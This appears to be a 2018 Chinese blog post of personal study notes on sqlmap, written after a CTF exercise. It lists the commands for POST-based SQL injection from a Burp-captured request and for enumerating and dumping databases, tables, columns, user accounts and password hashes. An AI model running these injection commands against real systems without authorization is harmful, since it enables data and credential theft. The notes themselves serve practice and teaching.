sqlmap学习笔记

Posted by CoCo1er on 2018-09-18
Words 411 and Reading Time 1 Minutes
Viewed Times

(之前刷基础题遇到的都是get请求的sql注入,偶然遇到post请求的注入,记录一下sqlmap新姿势)

sqlmap(post方式注入)

  • 首先bp抓包,数据包copy to file

  • sqlmap.py -r “D:\1.txt” -p admin_name - -dbs
    解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点)- -dbs意思是想获取数据库名字

  • sqlmap.py -r “D:\1.txt” -D bugkusql1 -p admin_name - -tables
    解释:-D是表示选择了后面的这个数据库 - -tables是想获取表

  • sqlmap.py -r “D:\1.txt” -D bugkusql1 -T flag1 -p admin_name - -columns
    爆列名,解释类似上面 不过加了一个-T 指定表

  • 最后查字段 命令:sqlmap.py -r “D:\1.txt” -D bugkusql1 -T flag1 -C flag1 -p admin_name - -dump
    解释:同上面 - -dump是获取字段的命令
    (在这过程中可能会让你选择Y或者N 可以回车默认)

sqlmap注入基本命令

爆库 - -dbs
-D 选择库 - -tables 爆表
-T选择表 - -columns 爆列名
-C选择列名 - -dump 查询字段
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容
-u “http://192.168.1.150/products.asp?id=134“ -D tourdata -T userb -C “email,Username,userpassword” - -start 1 - -stop 10 - -dump

参数:

指定开始的行 - -start

指定结束的行 - -stop

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。

(补充)
自动跳过询问语句 - -batch
web数据库使用账户 - -current user
列出sqlserver所有用户 - -user
数据库账户与密码 - -passwords